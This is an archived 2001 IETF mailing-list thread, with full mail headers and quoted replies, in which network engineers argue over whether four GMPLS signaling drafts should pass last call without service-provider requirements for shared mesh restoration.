Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqoj23057
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 17:25:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqoj28858
	for <mpls@uu.net>; Fri, 25 May 2001 17:25:20 GMT
Received: from relay1.alcatel.be by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQkqoj08642
	for <mpls@uu.net>; Fri, 25 May 2001 17:25:20 GMT
Received: from bemail05.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with SMTP id f4PHOka04245;
	Fri, 25 May 2001 19:24:46 +0200 (MET DST)
Received: from alcatel.be ([138.203.253.239]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id C1256A57.005FA12A; Fri, 25 May 2001 19:24:35 +0200
Message-ID: <3B0E9540.B86C69FB@alcatel.be>
Date: Fri, 25 May 2001 19:24:16 +0200
From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Organization: Alcatel Bell - IPO NSG
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: John Drake <jdrake@calient.net>, "'C. R. Kalmanek'" <crk@research.att.com>,
        "'Tarapore, Percy S'" <tarapore@att.com>,
        "Ash, Gerald R (Jerry)" <gash@att.com>
CC: ccamp@ops.ietf.org, mpls@UU.NET
Subject: Re: GMPLS Last Calls
References: <A1AFE5CF886C5D439494D9D5DE84EEF3737071@radiant.chromisys.com>
Content-Type: multipart/mixed;
 boundary="------------53760D5AEC6FE7ECCAD53003"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------53760D5AEC6FE7ECCAD53003
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

From that point of view it is clear that during the last IETF meeting
and if i am not making a mistake there were at least 3 presentations
from that aspect (as John mentioned) these edge-to-edge restoration
mechanisms are based either on extending current notification and 
signalling mechanisms (here signalling protocols are the same than 
those used to provision or establish the LSPs) or using a specific 
signalling protocol different from the one used to provision or setup
these LSPs. Notice as well that link restoration (and not only 
protection) could be also discussed from that perspective.

Notice that IETF AB have asked us to wait upon the TE WG requirements
on "network survivability" prior to continue to propose technical 
solutions. I agree with John that with the current status it is rather
difficult to know if (even partially) which direction to pursue.

Regards,
- Dimitri.

John Drake wrote:
> 
> The point is that in GMPLS, as in regular MPLS, restoration consists of
> rerouting from the endpoints upon
> notification of failure.  There are a whole spectrum of path and span
> protection possibilites beyond this
> that people (including us) have proposed, but in the absence of firm
> requirements, it's hard to know which
> to pursue.  I'm not sure 'shared mesh restoration' completely covers it.
> 
> Thanks,
> 
> John
> 
> -----Original Message-----
> From: C. R. Kalmanek [mailto:crk@research.att.com]
> Sent: Friday, May 25, 2001 9:54 AM
> To: John Drake
> Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> mpls@uu.net
> Subject: Re: GMPLS Last Calls
> 
> John,
> 
> While there currently are no restoration requirements from the
> TE (or other) group, what Percy is saying is that shared mesh
> restoration WILL be a requirement from those groups.  Since the
> current GMPLS drafts don't meet this requirement, they are
> unlikely to meet key SP needs.
> 
> I don't understand a process that starts the requirements
> development after last call for the signaling specifications.
> 
> chuck
> 
> John Drake wrote:
> >
> > Percy,
> >
> > There has been work on protocols for path restoration in mesh networks by
> a
> > number of
> > people.  However, at the last IETF Kireeti and Vijay clearly indicated
> that
> > this work,
> > while interesting, wouldn't be allowed to progress in advance of a
> > restoration requirements
> > draft from the TE group.
> >
> > Thanks,
> >
> > John
> >
> > -----Original Message-----
> > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > Sent: Thursday, May 24, 2001 11:55 AM
> > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > Subject: RE: GMPLS Last Calls
> >
> > There is a significant issue related to the absence of restoration in the
> > signaling draft
> >
> (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> > 4.txt). Very specifically, Section 7 of this draft deals with the case
> > involving protection information for link protection. While link
> protection
> > schemes may be desirable for fast recovery related to high priority LSP's,
> > more cost-effective shared mesh restoration schemes would be preferred for
> > the majority of traffic from a Service Provider's perspective. This
> > observation is supported by the fact that many vendors are currently
> > developing proprietary schemes for shared mesh restoration. Hence, in
> > addition to the protection information, GMPLS signaling needs to reflect a
> > minimum set of information/attributes required for shared mesh restoration
> > without jeopardizing vendor proprietary solutions.
> >
> > The need for multiple types of restoration capabilities is well documented
> > in the OIF/UNI I-D
> >
> http://search.ietf.org/internet-drafts/draft-many-carrier-framework-uni-00.t
> > xt as follows:
> >
> > " Multiple types of facilities available for restoration are needed
> >    within the network. The following options should be considered for
> >    allocation of facilities to support restoration of failed
> >    connections:
> >    - Dedicated restoration capacity
> >    - Shared restoration capacity. This allows the network to ensure
> >      high quality service for customers, while still managing its
> >      physical resources efficiently.
> >    - Un-restorable
> >    - Pre-emptable"
> >
> > The OIF/UNI I-D supports a range of different restoration schemes through
> > the use of service level as a connection attribute. This attribute is
> > defined as follows:
> >
> > " an integer attribute that indicates a class of service. A carrier may
> > specify a range of different classes of service (e.g. gold, silver,
> bronze)
> > with predefined characteristics (e.g. restoration plans). The pre-defined
> > service types correspond to different types of network restoration (e.g.
> no
> > restoration, 1+1 protection), connection set-up and hold priorities,
> > reversion strategies for the connection after failures have been repaired,
> > and retention strategies."
> >
> > It is therefore important that GMPLS be extended to be able to support
> such
> > restoration schemes.
> >
> > Percy S. Tarapore
> > AT&T Labs
> >
> > -----Original Message-----
> > From: Ash, Gerald R (Jerry)
> > Sent: Thursday, May 24, 2001 2:20 PM
> > To: ccamp@ops.ietf.org; mpls@uu.net
> > Cc: Ash, Gerald R (Jerry)
> > Subject: RE: GMPLS Last Calls
> >
> > Quoting from the CCAMP/IETF-50 meeting minutes re the GMPLS Architecture
> > draft:
> >
> > "Eve - Had hoped that CCAMP formation and expression of requirements would
> > enable us to do more with architecture than reverse architect proposed
> > solution. Think we should also look at carrier requirements and look for
> > discrepancies with architecture.
> > Curtis - requirements of carriers not being addressed?
> > Eve - happy to discuss on mailing list in absence of time"
> >
> > There are still no documented service provider (SP) requirements driving
> the
> > proposed GMPLS protocol extensions.  This is inconsistent with the current
> > initiatives to provide SP requirements prior to protocol extensions being
> > accepted, such as for protection/restoration, network hierarchy, MPLS OAM,
> > MPLS/DiffServ TE, multi-area TE, etc.
> >
> > Here is a sample of SP requirements that are not being addressed (other
> > requirements from our perspective are forthcoming):
> >
> > 1. Restoration requirements, particularly in support of mesh restoration,
> > need to be supported by GMPLS.  For example, Section 7 of the Generalized
> > Signaling I-D
> >
> (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> > 4.txt)
> > primarily discusses link protection, restoration capabilities are largely
> > missing and need to be included.
> >
> > 2. Standards explicitly supported by GMPLS, such as G.707, G.709, etc.,
> > should be clearly identified in the text and referenced in the GMPLS I-Ds,
> > e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707
> [Reference
> > G.707] is supported by the Generalized Label Request."
> >
> > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > requirements to the list.  It would also help if more SPs were invited to
> > co-author the GMPLS drafts, to help ensure that SP requirements are more
> > adequately reflected and addressed.
> >
> > Jerry Ash
> > AT&T Labs
> >
> > -----Original Message-----
> > From: George Swallow [mailto:swallow@cisco.com]
> > Sent: Monday, May 14, 2001 1:52 PM
> > To: ccamp@ops.ietf.org; mpls@uu.net
> > Subject: GMPLS Last Calls
> >
> > This message initiates a last call on four GMPLS drafts.  The last
> > call is being issued jointly in the MPLS and CCAMP workgroups.
> >
> > The drafts are:
> >
> >     1.  Generalized MPLS - Signaling Functional Description
> >
> >            <draft-ietf-mpls-generalized-signaling-04.txt>
> >
> >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> >
> >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> >
> >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> >
> >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> >
> >     4.  GMPLS Extensions for SONET and SDH Control
> >
> >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> >
> > The last call closes May 29, 12 pm GMT.
> >
> > -  V2KG (Vijay, Vijay, Kireeti, & George)
> >
> > ======================================================================
> > George Swallow       Cisco Systems                   (978) 244-8143
> >                      250 Apollo Drive
> >                      Chelmsford, Ma 01824
--------------53760D5AEC6FE7ECCAD53003
Content-Type: text/x-vcard; charset=us-ascii;
 name="dimitri.papadimitriou.vcf"
Content-Description: Card for Dimitri Papadimitriou
Content-Disposition: attachment;
 filename="dimitri.papadimitriou.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Dimitri;Papadimitriou Dimitri
tel;home:+32 2 3434361
tel;work:+32 3 2408491
x-mozilla-html:FALSE
url:http://www.alcatel.com
org:Alcatel Bell;IPO NSG - Antwerpen 
version:2.1
email;internet:dimitri.papadimitriou@alcatel.be
title:Optical Networking R&S - Senior Engineer
adr;quoted-printable:;;Francis Wellesplein, 1=0D=0AB-2018 Antwerpen;;;;BELGIUM
fn:Papadimitriou Dimitri
end:vcard

--------------53760D5AEC6FE7ECCAD53003--



From owner-mpls@UU.NET  Fri May 25 14:02:17 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22449
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 14:02:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqol06792;
	Fri, 25 May 2001 17:56:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkqol26860
	for mpls-outgoing; Fri, 25 May 2001 17:56:10 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqol26804
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 17:55:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqol15766
	for <mpls@UU.NET>; Fri, 25 May 2001 17:55:26 GMT
Received: from alpha.tellium.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQkqol19635
	for <mpls@UU.NET>; Fri, 25 May 2001 17:55:25 GMT
Received: from mail1.tellium.com (mail1 [151.198.92.140])
	by alpha.tellium.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id f4PHqxi06151;
	Fri, 25 May 2001 13:52:59 -0400 (EDT)
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <LSMXXHM1>; Fri, 25 May 2001 13:56:56 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D02204040198224E@mail1.tellium.com>
From: Bala Rajagopalan <BRaja@tellium.com>
To: "'C. R. Kalmanek'" <crk@research.att.com>,
        John Drake
	 <jdrake@calient.net>
Cc: ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Fri, 25 May 2001 13:56:53 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


Chuck:

I believe that the restoration issue can be
dealt with indepedent of the current drafts
on last call. Do you see any obstacles to
adding new objects/semantics (if any) to support
restoration requirements as they arise?

BTW, there are some drafts floating around
on shared mesh.

regards,

Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: C. R. Kalmanek [mailto:crk@research.att.com]
> Sent: Friday, May 25, 2001 1:08 PM
> To: John Drake
> Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> mpls@UU.NET
> Subject: Re: GMPLS Last Calls
> 
> 
> I fully agree: there are a whole spectrum of options that we
> need to sort through, and clear requirements are needed to
> guide that process.  Our concern is with the last call.  It
> doesn't make sense to progress drafts to RFC that are likely 
> in hindsight to be viewed as having serious deficiencies in
> meeting restoration requirements.
> 
> chuck
> 
> John Drake wrote:
> > 
> > The point is that in GMPLS, as in regular MPLS, restoration 
> consists of
> > rerouting from the endpoints upon
> > notification of failure.  There are a whole spectrum of 
> path and span
> > protection possibilites beyond this
> > that people (including us) have proposed, but in the absence of firm
> > requirements, it's hard to know which
> > to pursue.  I'm not sure 'shared mesh restoration' 
> completely covers it.
> > 
> > Thanks,
> > 
> > John
> > 
> > -----Original Message-----
> > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > Sent: Friday, May 25, 2001 9:54 AM
> > To: John Drake
> > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> > mpls@uu.net
> > Subject: Re: GMPLS Last Calls
> > 
> > John,
> > 
> > While there currently are no restoration requirements from the
> > TE (or other) group, what Percy is saying is that shared mesh
> > restoration WILL be a requirement from those groups.  Since the
> > current GMPLS drafts don't meet this requirement, they are
> > unlikely to meet key SP needs.
> > 
> > I don't understand a process that starts the requirements
> > development after last call for the signaling specifications.
> > 
> > chuck
> > 
> > John Drake wrote:
> > >
> > > Percy,
> > >
> > > There has been work on protocols for path restoration in 
> mesh networks by
> > a
> > > number of
> > > people.  However, at the last IETF Kireeti and Vijay 
> clearly indicated
> > that
> > > this work,
> > > while interesting, wouldn't be allowed to progress in advance of a
> > > restoration requirements
> > > draft from the TE group.
> > >
> > > Thanks,
> > >
> > > John
> > >
> > > -----Original Message-----
> > > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > > Sent: Thursday, May 24, 2001 11:55 AM
> > > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > > Subject: RE: GMPLS Last Calls
> > >
> > > There is a significant issue related to the absence of 
> restoration in the
> > > signaling draft
> > >
> > 
> (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> ed-signaling-0
> > > 4.txt). Very specifically, Section 7 of this draft deals 
> with the case
> > > involving protection information for link protection. While link
> > protection
> > > schemes may be desirable for fast recovery related to 
> high priority LSP's,
> > > more cost-effective shared mesh restoration schemes would 
> be preferred for
> > > the majority of traffic from a Service Provider's 
> perspective. This
> > > observation is supported by the fact that many vendors 
> are currently
> > > developing proprietary schemes for shared mesh 
> restoration. Hence, in
> > > addition to the protection information, GMPLS signaling 
> needs to reflect a
> > > minimum set of information/attributes required for shared 
> mesh restoration
> > > without jeopardizing vendor proprietary solutions.
> > >
> > > The need for multiple types of restoration capabilities 
> is well documented
> > > in the OIF/UNI I-D
> > >
> > 
> http://search.ietf.org/internet-drafts/draft-many-carrier-fram
> ework-uni-00.t
> > > xt as follows:
> > >
> > > " Multiple types of facilities available for restoration 
> are needed
> > >    within the network. The following options should be 
> considered for
> > >    allocation of facilities to support restoration of failed
> > >    connections:
> > >    - Dedicated restoration capacity
> > >    - Shared restoration capacity. This allows the network 
> to ensure
> > >      high quality service for customers, while still managing its
> > >      physical resources efficiently.
> > >    - Un-restorable
> > >    - Pre-emptable"
> > >
> > > The OIF/UNI I-D supports a range of different restoration 
> schemes through
> > > the use of service level as a connection attribute. This 
> attribute is
> > > defined as follows:
> > >
> > > " an integer attribute that indicates a class of service. 
> A carrier may
> > > specify a range of different classes of service (e.g. 
> gold, silver,
> > bronze)
> > > with predefined characteristics (e.g. restoration plans). 
> The pre-defined
> > > service types correspond to different types of network 
> restoration (e.g.
> > no
> > > restoration, 1+1 protection), connection set-up and hold 
> priorities,
> > > reversion strategies for the connection after failures 
> have been repaired,
> > > and retention strategies."
> > >
> > > It is therefore important that GMPLS be extended to be 
> able to support
> > such
> > > restoration schemes.
> > >
> > > Percy S. Tarapore
> > > AT&T Labs
> > >
> > > -----Original Message-----
> > > From: Ash, Gerald R (Jerry)
> > > Sent: Thursday, May 24, 2001 2:20 PM
> > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > Cc: Ash, Gerald R (Jerry)
> > > Subject: RE: GMPLS Last Calls
> > >
> > > Quoting from the CCAMP/IETF-50 meeting minutes re the 
> GMPLS Architecture
> > > draft:
> > >
> > > "Eve - Had hoped that CCAMP formation and expression of 
> requirements would
> > > enable us to do more with architecture than reverse 
> architect proposed
> > > solution. Think we should also look at carrier 
> requirements and look for
> > > discrepancies with architecture.
> > > Curtis - requirements of carriers not being addressed?
> > > Eve - happy to discuss on mailing list in absence of time"
> > >
> > > There are still no documented service provider (SP) 
> requirements driving
> > the
> > > proposed GMPLS protocol extensions.  This is inconsistent 
> with the current
> > > initiatives to provide SP requirements prior to protocol 
> extensions being
> > > accepted, such as for protection/restoration, network 
> hierarchy, MPLS OAM,
> > > MPLS/DiffServ TE, multi-area TE, etc.
> > >
> > > Here is a sample of SP requirements that are not being 
> addressed (other
> > > requirements from our perspective are forthcoming):
> > >
> > > 1. Restoration requirements, particularly in support of 
> mesh restoration,
> > > need to be supported by GMPLS.  For example, Section 7 of 
> the Generalized
> > > Signaling I-D
> > >
> > 
> (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> ed-signaling-0
> > > 4.txt)
> > > primarily discusses link protection, restoration 
> capabilities are largely
> > > missing and need to be included.
> > >
> > > 2. Standards explicitly supported by GMPLS, such as 
> G.707, G.709, etc.,
> > > should be clearly identified in the text and referenced 
> in the GMPLS I-Ds,
> > > e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707
> > [Reference
> > > G.707] is supported by the Generalized Label Request."
> > >
> > > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > > requirements to the list.  It would also help if more SPs 
> were invited to
> > > co-author the GMPLS drafts, to help ensure that SP 
> requirements are more
> > > adequately reflected and addressed.
> > >
> > > Jerry Ash
> > > AT&T Labs
> > >
> > > -----Original Message-----
> > > From: George Swallow [mailto:swallow@cisco.com]
> > > Sent: Monday, May 14, 2001 1:52 PM
> > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > Subject: GMPLS Last Calls
> > >
> > > This message initiates a last call on four GMPLS drafts.  The last
> > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > >
> > > The drafts are:
> > >
> > >     1.  Generalized MPLS - Signaling Functional Description
> > >
> > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > >
> > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > >
> > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > >
> > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > >
> > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > >
> > >     4.  GMPLS Extensions for SONET and SDH Control
> > >
> > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > >
> > > The last call closes May 29, 12 pm GMT.
> > >
> > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > >
> > > 
> ======================================================================
> > > George Swallow       Cisco Systems                   
> (978) 244-8143
> > >                      250 Apollo Drive
> > >                      Chelmsford, Ma 01824
> 


From owner-mpls@UU.NET  Fri May 25 14:08:39 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22556
	for <mpls-archive@lists.ietf.org>; Fri, 25 May 2001 14:08:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqom11334;
	Fri, 25 May 2001 18:02:41 GMT
Received: by mail-control.mail.uu.net 
	id QQkqom02071
	for mpls-outgoing; Fri, 25 May 2001 18:02:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqom01851
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 18:01:53 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqom22081
	for <mpls@uu.net>; Fri, 25 May 2001 18:00:50 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkqom06586
	for <mpls@uu.net>; Fri, 25 May 2001 18:00:50 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4PI0r915442
	for <mpls@uu.net>; Fri, 25 May 2001 11:00:53 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id OAA01057 for mpls@uu.net; Fri, 25 May 2001 14:00:48 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqol27051
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 17:57:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqol11792
	for <mpls@uu.net>; Fri, 25 May 2001 17:57:03 GMT
Received: from mail-blue.research.att.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqol07116
	for <mpls@uu.net>; Fri, 25 May 2001 17:57:02 GMT
Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 6DD994DEE4; Fri, 25 May 2001 13:57:02 -0400 (EDT)
Received: from research.att.com (pc-crk.research.att.com [135.207.17.83])
	by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id NAA10119;
	Fri, 25 May 2001 13:57:01 -0400 (EDT)
Message-ID: <3B0E9CB9.B49B4B9F@research.att.com>
Date: Fri, 25 May 2001 13:56:09 -0400
From: "C. R. Kalmanek" <crk@research.att.com>
X-Mailer: Mozilla 4.51 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Cc: John Drake <jdrake@calient.net>, "'Tarapore, Percy S'" <tarapore@att.com>,
        "Ash, Gerald R (Jerry)" <gash@att.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Subject: Re: GMPLS Last Calls
References: <A1AFE5CF886C5D439494D9D5DE84EEF3737071@radiant.chromisys.com> <3B0E9540.B86C69FB@alcatel.be>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi, Dimitri,

I agree with the IAB direction on this.  We're also familiar 
with all of the proposals that you mention and believe that 
there are some things missing.  In any event, as I'm sure you 
would agree, without requirements it would be hard to say with
confidence that the current GMPLS specs can be readily extended
to meet the (non-existent) requirements :).

chuck

Dimitri Papadimitriou wrote:
> 
> Hi all,
> 
> From that point of view it is clear that during the last IETF meeting
> and if i am not making a mistake there were at least 3 presentations
> from that aspect (as John mentioned) these edge-to-edge restoration
> mechanisms are based either on extending current notification and
> signalling mechanisms (here signalling protocols are the same than
> those used to provision or establish the LSPs) or using a specific
> signalling protocol different from the one used to provision or setup
> these LSPs. Notice as well that link restoration (and not only
> protection) could be also discussed from that perspective.
> 
> Notice that IETF AB have asked us to wait upon the TE WG requirements
> on "network survivability" prior to continue to propose technical
> solutions. I agree with John that with the current status it is rather
> difficult to know if (even partially) which direction to pursue.
> 
> Regards,
> - Dimitri.
> 
> John Drake wrote:
> >
> > The point is that in GMPLS, as in regular MPLS, restoration consists of
> > rerouting from the endpoints upon
> > notification of failure.  There are a whole spectrum of path and span
> > protection possibilites beyond this
> > that people (including us) have proposed, but in the absence of firm
> > requirements, it's hard to know which
> > to pursue.  I'm not sure 'shared mesh restoration' completely covers it.
> >
> > Thanks,
> >
> > John
> >
> > -----Original Message-----
> > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > Sent: Friday, May 25, 2001 9:54 AM
> > To: John Drake
> > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> > mpls@uu.net
> > Subject: Re: GMPLS Last Calls
> >
> > John,
> >
> > While there currently are no restoration requirements from the
> > TE (or other) group, what Percy is saying is that shared mesh
> > restoration WILL be a requirement from those groups.  Since the
> > current GMPLS drafts don't meet this requirement, they are
> > unlikely to meet key SP needs.
> >
> > I don't understand a process that starts the requirements
> > development after last call for the signaling specifications.
> >
> > chuck
> >
> > John Drake wrote:
> > >
> > > Percy,
> > >
> > > There has been work on protocols for path restoration in mesh networks by
> > a
> > > number of
> > > people.  However, at the last IETF Kireeti and Vijay clearly indicated
> > that
> > > this work,
> > > while interesting, wouldn't be allowed to progress in advance of a
> > > restoration requirements
> > > draft from the TE group.
> > >
> > > Thanks,
> > >
> > > John
> > >
> > > -----Original Message-----
> > > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > > Sent: Thursday, May 24, 2001 11:55 AM
> > > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > > Subject: RE: GMPLS Last Calls
> > >
> > > There is a significant issue related to the absence of restoration in the
> > > signaling draft
> > >
> > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> > > 4.txt). Very specifically, Section 7 of this draft deals with the case
> > > involving protection information for link protection. While link
> > protection
> > > schemes may be desirable for fast recovery related to high priority LSP's,
> > > more cost-effective shared mesh restoration schemes would be preferred for
> > > the majority of traffic from a Service Provider's perspective. This
> > > observation is supported by the fact that many vendors are currently
> > > developing proprietary schemes for shared mesh restoration. Hence, in
> > > addition to the protection information, GMPLS signaling needs to reflect a
> > > minimum set of information/attributes required for shared mesh restoration
> > > without jeopardizing vendor proprietary solutions.
> > >
> > > The need for multiple types of restoration capabilities is well documented
> > > in the OIF/UNI I-D
> > >
> > http://search.ietf.org/internet-drafts/draft-many-carrier-framework-uni-00.t
> > > xt as follows:
> > >
> > > " Multiple types of facilities available for restoration are needed
> > >    within the network. The following options should be considered for
> > >    allocation of facilities to support restoration of failed
> > >    connections:
> > >    - Dedicated restoration capacity
> > >    - Shared restoration capacity. This allows the network to ensure
> > >      high quality service for customers, while still managing its
> > >      physical resources efficiently.
> > >    - Un-restorable
> > >    - Pre-emptable"
> > >
> > > The OIF/UNI I-D supports a range of different restoration schemes through
> > > the use of service level as a connection attribute. This attribute is
> > > defined as follows:
> > >
> > > " an integer attribute that indicates a class of service. A carrier may
> > > specify a range of different classes of service (e.g. gold, silver,
> > bronze)
> > > with predefined characteristics (e.g. restoration plans). The pre-defined
> > > service types correspond to different types of network restoration (e.g.
> > no
> > > restoration, 1+1 protection), connection set-up and hold priorities,
> > > reversion strategies for the connection after failures have been repaired,
> > > and retention strategies."
> > >
> > > It is therefore important that GMPLS be extended to be able to support
> > such
> > > restoration schemes.
> > >
> > > Percy S. Tarapore
> > > AT&T Labs
> > >
> > > -----Original Message-----
> > > From: Ash, Gerald R (Jerry)
> > > Sent: Thursday, May 24, 2001 2:20 PM
> > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > Cc: Ash, Gerald R (Jerry)
> > > Subject: RE: GMPLS Last Calls
> > >
> > > Quoting from the CCAMP/IETF-50 meeting minutes re the GMPLS Architecture
> > > draft:
> > >
> > > "Eve - Had hoped that CCAMP formation and expression of requirements would
> > > enable us to do more with architecture than reverse architect proposed
> > > solution. Think we should also look at carrier requirements and look for
> > > discrepancies with architecture.
> > > Curtis - requirements of carriers not being addressed?
> > > Eve - happy to discuss on mailing list in absence of time"
> > >
> > > There are still no documented service provider (SP) requirements driving
> > the
> > > proposed GMPLS protocol extensions.  This is inconsistent with the current
> > > initiatives to provide SP requirements prior to protocol extensions being
> > > accepted, such as for protection/restoration, network hierarchy, MPLS OAM,
> > > MPLS/DiffServ TE, multi-area TE, etc.
> > >
> > > Here is a sample of SP requirements that are not being addressed (other
> > > requirements from our perspective are forthcoming):
> > >
> > > 1. Restoration requirements, particularly in support of mesh restoration,
> > > need to be supported by GMPLS.  For example, Section 7 of the Generalized
> > > Signaling I-D
> > >
> > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> > > 4.txt)
> > > primarily discusses link protection, restoration capabilities are largely
> > > missing and need to be included.
> > >
> > > 2. Standards explicitly supported by GMPLS, such as G.707, G.709, etc.,
> > > should be clearly identified in the text and referenced in the GMPLS I-Ds,
> > > e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707
> > [Reference
> > > G.707] is supported by the Generalized Label Request."
> > >
> > > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > > requirements to the list.  It would also help if more SPs were invited to
> > > co-author the GMPLS drafts, to help ensure that SP requirements are more
> > > adequately reflected and addressed.
> > >
> > > Jerry Ash
> > > AT&T Labs
> > >
> > > -----Original Message-----
